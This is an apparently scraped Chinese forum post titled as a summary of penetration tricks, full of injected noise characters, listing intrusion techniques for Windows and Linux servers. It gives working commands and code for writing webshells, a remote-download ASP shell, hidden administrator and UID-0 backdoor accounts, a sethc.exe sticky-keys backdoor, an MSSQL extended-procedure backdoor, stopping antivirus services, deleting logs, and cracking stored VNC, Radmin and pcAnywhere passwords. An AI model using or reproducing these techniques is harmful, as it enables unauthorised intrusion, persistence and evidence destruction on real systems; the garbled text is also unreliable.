渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
6 d% e8 [0 b) X7 K. L  `If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
+ i% a' W: M8 H0 U/ d- _        
4 V. u6 t8 Z7 H9 n. p
6 I2 }& Q! i- z- eMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

% W1 w$ |8 i; q: ~Usage:Cscript vWeb.vbs",4096,"Lilo"
7 B# Y! H6 t) B" Y; X) T        WScript.Quit
End If
0 R0 K& v, |% Q4 Y* Q2 m  }. \Set ObjService=GetObject
7 t4 H$ `7 U4 y8 c0 e3 F6 g
# P" G/ W) E# t("IIS://LocalHost/W3SVC")
1 [# G- i  y' R: K% cFor Each obj3w In objservice
( H2 b; ?! M& F! ?% {7 \& S. ?        If IsNumeric(obj3w.Name)
/ z/ G; u0 u' a8 h9 E
$ a8 ]0 t6 q6 ]3 {8 x3 kThen
) b4 I3 q, L* ]2 ~                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
6 z+ M' C* e4 P         

. N0 n/ b- N( s# N3 S       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
/ W% V9 O$ ^7 ?! G. L7 s2 _4 O                If Err

<> 0 Then WScript.Quit (1)
8 p- E6 e4 n. Z& L/ ^                WScript.Echo Chr(10) & "[" &
- x  v) I  Y; u
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
' |: R9 Z% j# O, f$ F) W* C
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
  E$ w9 ?! |2 c8 X( o* ^2 W                Next
      

( B% g0 a+ A: W5 U0 ^: X' G         WScript.Echo "ath            : " & VDirObj.Path
' v. r6 M" y" Q0 [* g: R% e0 F        End If
; Q6 E" D$ d  ?& v+ u5 ~, l. f, YNext
复制代码
( h0 Q# A" c6 p+ u, R5 N3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
4 O- p/ [: n, X6 M( ^* ~5 X4 hurl/wp-content/plugins/akismet/akismet.php
$ Z* D* ]7 c  Ourl/wp-content/plugins/akismet/hello.php
——————————————————————
, u) ]9 s( H% h+ zphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
3 C  p- P- I6 r) ^' X( x' `phpMyAdmin/darkblue_orange/layout.inc.php
, ]7 s! |( n( B. v( J! [phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
- m' d$ ~9 w3 n, [7 R5 F————————————————————
; {! D. e2 n7 S2 T- n网站可能目录(注：一般是虚拟主机类）
+ R7 h$ h9 B8 Adata/htdocs.网站/网站/
& C$ r0 F7 ]7 {' p  {. ^————————————————————
CMD下操作VPN相关
9 r' _9 q6 {$ hnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
( R9 R- P4 a1 M  l/ P/ R5 cnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
9 h% e3 g/ A- W0 Knetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
$ G- p7 h3 o# p; `9 v) Sexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
2 {' G. M: F' S8 T! h& V然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
% e& y2 V! B0 ^- n: Z# o( J在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
+ f; T  y. A5 p5 cjs:
* H' T9 g5 s0 b' Z9 fvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

7 z# a) A- Y2 f! Uvbs:
3 D7 G) w6 r3 ^. vSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
1 m( ~! B! v) K* r& ]- gz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
1 c4 a) R, D2 F6 j3 Y
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
* m& D9 b; w- m9 Icacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
2 D2 G5 Z- ?+ C# ]3 }9 ja、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
: z& v  D( E2 Kb、内网环境（LCX）
' s' w( U9 n" p* R/ Lc、终端服务器超出了最大允许连接
  B6 d+ q9 b# W2 FXP 运行mstsc /admin
  E% S2 u0 I8 X+ v) F! x9 L2003 运行mstsc /console   

) k% }2 |) D& n: b杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
! J- T; e/ U+ z; Enet stop "Symantec AntiVirus" /y
8 ^( g  |! d# f4 Q  H! W* i& k+ Z, Rnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
. W' @/ b6 Z* _3 V* M$ z" fnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

' [5 H$ u3 a5 j  ]0 K卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
7 ~/ a6 h& W$ Lcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
1 l) x2 z+ }# @/ D' Z9 Ucopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
0 \7 B! ?6 d) p" i' i2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
1 ~! G% F  a5 Z( W# pMSSQL扩展后门：
: q( Y: x" |+ U/ z# E) S: w- tUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
3 w9 Z7 Z2 _5 M5 K8 V0 `* P* zGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
6 g. v* n% C9 E6 c0 ?5 s2 ^- vC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
$ J. K- W: B3 q$ z6 R, cex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
  g, u4 p& p' B* j用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
+ g# t& Q& w3 e9 J8 Z. e$ Y! O8 ~2 @当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
7 c) L1 [7 }: q2 D& h( v  p9 C' GMSSQL 2000位于注册表如下：
" ~9 W" A2 D0 OHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
7 |1 o5 v: ^$ u0 P  w% {3 {6 UMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

; y. h8 F; X0 T/ i7 QServer\90\Tools\Shell\mru.dat
$ r3 s! u5 G9 ~+ }) j! H—————————————————————————
7 I/ Y0 P7 g4 L7 ]1 Q$ r- E# v" U防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
2 {5 p! d$ j+ `& b% n1 X7 G! R9 ^Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
4 {" z2 D9 |. oDim Ads, Retrieval, GetRemoteData
( n6 d% m4 Q) h; S8 mOn Error Resume Next
) ?- \8 E; p: l. E. K. q% M5 A9 \Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
" e: _5 V% ]& S% RWith Retrieval
% a+ P7 z, ]  w.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
+ Z- K$ E$ f3 }4 T, @GetRemoteData = .ResponseBody
End With
; [) \: ?7 b* D! CSet Retrieval = Nothing
# }4 _. I) ]+ e: @3 Y* f1 Q3 ^Set Ads = Server.CreateObject("Adodb.Stream")
% M" c+ N  T3 t! R" S: V7 }* AWith Ads
- f9 C) j/ B) G' \) b* H/ e4 I.Type = 1
.Open
.Write GetRemoteData
2 b' o8 l0 A* C# B) L.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
1 N5 Z+ G, I3 H/ G! J4 C9 e2 F.Close()
End With
# z! z& {) s6 S7 \/ P) ?Set Ads=nothing
( i( i+ U5 R2 b* TEnd Sub
% M1 j: ]) k0 q4 f% \. Z
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
0 ]+ f3 o6 b/ X. {2 c& Y* O' c%>
: C! Y  X$ @8 h+ E0 M" t1 g8 ]
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
! M6 r: P0 L9 s注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
4 g. s$ `/ A, n4 R: L) j! A9 nRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
4 a8 i  X  ^) eHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
9 y" s* |& ^7 v1 D7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
6 @2 `: d* A0 Z0 l! b3 r4 p# DstrSQLServerName = "服务器ip"
0 R9 d% E5 ?* ystrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

4 {" F8 A6 s5 {! ?& o/ ]";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
6 a; T) }5 P) J8 t  ^3 e
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
0 ~8 Y2 f2 h8 G  }  T/ o8 T( O2 Jset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
7 z1 @! E1 X6 e9 _% vrs.close
; ~  e8 ?1 i$ n& n' E5 X9 E! F%>
4 @  j8 z. Y1 A0 E3 [2 q复制代码
******liunx 相关******
. K% _3 G- j! c一.ldap渗透技巧
1.cat /etc/nsswitch
! J4 u" \5 D8 l1 D$ T看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
8 l9 o! _- {6 X  W) Obase ou=People,dc=unix-center,dc=net
$ m: n. |& i: [找到ou,dc,dc设置
) q7 m9 y! V  t4 l
8 s) @1 o/ j0 E7 U* o& G" T3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. w1 A" h( g$ ~6 v4 O: G有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


7 t4 p! p; X* h4.查找10条用户记录
. a/ d9 }7 e$ K' Eldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
: B  V( C8 L1 V
实战:
! e% i2 s5 I& Q/ c' C1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
4 \2 y* F- j: s: R* b% X: f. J1 wbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
2 J& h! S0 x3 ?匿名方式
# H6 R' q) t" L: \$ }. p1 Bldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
1 W1 Z- f* f2 L1 O: q$ l
: U: H9 x  W+ @- X3 c$ A" D"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
1 q2 Y  A. I6 ^: {ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

" P3 N1 X* F0 u$ ]4 n
4.查找10条用户记录
! P0 g9 @( t  K8 T9 q: g$ lldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ ^$ q: `  u  J
渗透实战:
1.返回所有的属性
8 ?3 N( |6 h/ V0 [7 _8 y" y% Bldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
3 _, }" n4 b0 U( ]& w; v' Z6 G0 m! `version: 1
/ ~5 z8 E) P% c5 A( [1 Jdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

; W; D( t, _9 |6 q6 K: u5 P. v/ vdn: uid=manager,dc=ruc,dc=edu,dc=cn
; f- k; Q& a, a. f% c* Q8 fuid: manager
* s  p( w. J  E  u1 r3 iobjectClass: inetOrgPerson
& {7 ^3 B" G7 n  U, O5 uobjectClass: organizationalPerson
/ A9 c/ o8 a! Y$ V' ]1 TobjectClass: person
2 [0 {9 C$ _2 T$ K. RobjectClass: top
sn: manager
# o  ?* j3 M- xcn: manager

- W$ z1 h* o4 u0 ?dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
* V$ a; b- O7 LobjectClass: inetOrgPerson
2 [- I4 K4 [3 O  Y. s# JobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin
$ N& D, t( {4 g7 N+ v0 x4 W" M4 N4 J
/ k# I0 J( [8 }/ ^) r0 X3 g4 m, `dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
  x0 |/ d6 k) B1 {objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
5 p; {; s9 h( @; F. i& iobjectClass: top
sn: admin
9 ?' }& q& b; y% h6 \1 I7 gcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
3 {2 f7 u! V$ o! NobjectClass: person
: c) q( \, g: d: GobjectClass: organizationalPerson
- \* m4 r. b5 c" l% jobjectClass: inetOrgPerson
sn: dcp_anonymous
! R9 N: r# b1 d1 ^3 s" ]cn: dcp_anonymous
9 K6 [9 g) \1 ~
; E/ j1 |9 ]: ?2 a1 ?2.查看基类
/ F  H/ B$ o; G5 P% pbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

4 _1 R8 ?7 m3 w  w2 @) X$ F- `more
version: 1
, B4 k8 s6 B, k5 S7 s( X& ^dn: dc=ruc,dc=edu,dc=cn
8 i- \3 T0 \8 V  e: B/ K, @8 Mdc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
. P; O, c4 g' I3 m( ?% wversion: 1
  v" `3 p4 H# O8 t- q& B% G7 ndn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
3 Y& j' _2 F3 F9 x* s$ {supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
; h/ p- R; z+ f4 ZsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
% K2 w+ A) \5 I$ i7 G" A) tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
! j, e( ^7 [! o8 A( ^: ysupportedExtension: 2.16.840.1.113730.3.5.5
) {' I! J4 F& T, J5 vsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
  {4 [0 ?7 y2 d9 ?5 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
) k. o& J/ ~! e; k- psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
7 D6 G  R! b# u( D# P) HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
9 I/ O  k" U# p/ Y  s# z7 [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
* i- A. T3 F" F0 K' W. qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
4 O6 C! A/ ?, i) T7 O, BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
: @( l% b+ e9 c( t3 h* ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
- C6 x9 j' k& Q# f) usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
( t. ^* M8 I# i7 v$ SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
' F& P) T+ t: n) u# v2 k- msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
7 n) K5 q, I1 g7 i5 o# V9 nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
' h5 n2 Z+ j. ~, R& _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
7 }' A2 t+ U% U! E# D; p/ ksupportedControl: 2.16.840.1.113730.3.4.4
2 u7 R0 W4 ?/ g& wsupportedControl: 2.16.840.1.113730.3.4.5
. f+ z% I3 L- Q$ wsupportedControl: 1.2.840.113556.1.4.473
! T# U8 E6 s/ c' a- qsupportedControl: 2.16.840.1.113730.3.4.9
) |+ U" e. a! j- V) M: ]7 U; usupportedControl: 2.16.840.1.113730.3.4.16
+ X+ S2 Y- T: L% V" p2 q% gsupportedControl: 2.16.840.1.113730.3.4.15
5 o8 @* R6 g! i8 B* }+ o8 [+ LsupportedControl: 2.16.840.1.113730.3.4.17
/ Q# I, ]5 ~; n; @# C+ D" osupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
6 R7 S, {$ y9 m/ U* K6 gsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
6 m: x' M, X9 V; H1 t, y6 csupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
7 e3 R4 d' b( ?" JsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
$ X' w7 q1 R: A& O0 t! }+ ssupportedControl: 1.3.6.1.4.1.1466.29539.12
( e; n7 ~! c! M: O- }  y  v% PsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
' y+ R1 I$ d7 J2 K( y& Y' rsupportedControl: 2.16.840.1.113730.3.4.13
* F0 w5 I' _, u1 I! a1 N- ]supportedSASLMechanisms: EXTERNAL
8 L' e8 c: ^# C4 h5 SsupportedSASLMechanisms: DIGEST-MD5
; Y8 V, T! y" A6 PsupportedLDAPVersion: 2
) y9 T& }' h8 U5 m( u  R" LsupportedLDAPVersion: 3
3 e8 R: A+ u4 K. q/ F& I0 SvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
% c) ?/ v1 K  G! W3 A+ |6 Gnetscapemdsuffix: cn=ldap://dc=webA:389
9 L5 t5 s9 ]0 {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
+ z1 u9 e- R/ j  p3 w9 N, n2 ~supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
' G, D# d# _) ]: g4 `3 G9 w: psupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
  a, n. D5 Z+ a  L5 x: q  PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
& U+ P6 m+ q+ R. e2 v8 G/ {& m  o) w4 qsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
. o) D2 n  }( `8 u  EsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
. F/ U3 k5 C4 ksupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
/ c) d2 d' D" q3 gsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
1 I1 x. |1 ]+ r" o2 i" SsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
" V3 G% R/ `/ u( t& k/ |7 L0 f2 t* R( zsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
) i1 n( f; b& f& F! I, O, asupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
$ V, `6 y% a( |' {, KsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
6 P/ }  a9 a' }3 P* v! YsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
2 I0 m( o' p, w/ F7 vsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
% O. C, M" E: NsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
' T2 f+ M8 e2 t0 Z# {( U1 l( J3 `supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
$ u, y  h! z7 v0 C& y* p1 osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
2 e5 y  B2 r) `supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
" B# X5 J% i8 ?. f6 ^supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
3 [7 s# A; t( e( KsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
  W" T# |0 Y2 v2 jsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
9 h. z5 ]; `) K; i! }, MsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
) L1 s' N" |" e" |supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
1 e7 R+ }/ S- {( PsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
& |3 f) S! o. J6 ~supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
2 F8 L3 {% m1 _. DsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
' d' \! C# _0 i5 WsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
+ \1 A& M0 s1 b1 S: ~( M: @: NsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
2 g$ o& P- C2 Y6 _, Y: g————————————
2 q4 `; Z/ C+ u3 W; Y( R$ `2. NFS渗透技巧
" N# O4 {, f8 D0 W% J' P' Zshowmount -e ip
列举IP
  q& \. s4 B) h2 S) s3 ^5 J3 s——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
/ S2 V) t9 }' S$ g8 ^rsync 210.51.X.X::
finance
& K7 _) F& v0 x: yimg_finance
auto
4 T5 W$ N, _% Ximg_auto
html_cms
img_cms
ent_cms
) H1 F+ P7 N/ a4 kent_img
. w! b5 d3 Q' X( k& Y1 L- }6 Pceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
games
: A8 I/ L& R  }5 N5 B4 agamesimg
4 S" Q0 _* Z( j% y8 C& X4 dmedia
8 S% f  a3 R$ P% n: L* r# Omediaimg
fashion
res-fashion
$ F5 o/ [9 n+ J( w$ c7 M' E+ ?res-fo
( W- H. C" _6 Qtaobao-home
3 Q5 s8 D: l6 A) _. M+ }res-taobao-home
! x9 y5 L0 d. x) ~, z8 ghouse
+ p3 o9 p2 E3 Ores-house
% h/ Q! G* a* x2 i  K% w% a7 Lres-home
res-edu
1 D! d* o3 C$ _$ B3 ires-ent
res-labs
res-news
' X: p9 G7 B3 ~res-phtv
) j1 W7 k9 |' s' qres-media
" p8 U! B% U$ Y, ehome
" ~+ i' u+ O5 j( {; ~4 Iedu
1 K( M) m0 Y8 \3 J) n0 ^* W& ]- T2 nnews
5 c/ C$ O, K6 X3 _( K. D4 [, wres-book
# S  D, `$ j2 C( Q
- K0 @# U/ d( a看相应的下级目录(注意一定要在目录后面添加上/)


+ |9 V3 G4 G" B; r' U# h3 r' Y) Lrsync 210.51.X.X::htdocs_app/
) @: }3 V& V7 orsync 210.51.X.X::auto/
8 Z8 z' j2 A/ t% m7 Y" s0 \rsync 210.51.X.X::edu/
5 ?- p' `* Z% W8 s7 X) j6 X
2.下载rsync服务器上的配置文件
8 \3 o( z- {+ V5 x& Trsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

  g" G1 S0 J& e' h" l3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
  {. g! E0 L$ X. @" Ohttp://app.finance.xxx.com/warn/nothack.txt
: W. U% J& q9 Q5 P5 q2 B) |6 i
) |* `0 ~' P; S四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
1 }$ W1 t9 x7 s( P# IGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
3 R& R! K. Z0 `  j- H' {3 |1 y
: s* C7 F: e4 P7 d; o  t六.joomla渗透小技巧
确定版本
4 I, b( [# g  C: oindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
) R1 Y# z3 ]) J# A5 {
) k+ g' V" t; a& Q" _' r重新设置密码
: G  F% s7 t1 o9 Mindex.php?option=com_user&view=reset&layout=confirm
; o7 p* i7 U0 p3 d" L- z: F. p
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
1 u; n! k& h' m+ [5 K" H% b) Q5 q
( \: w- r1 G4 ~八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
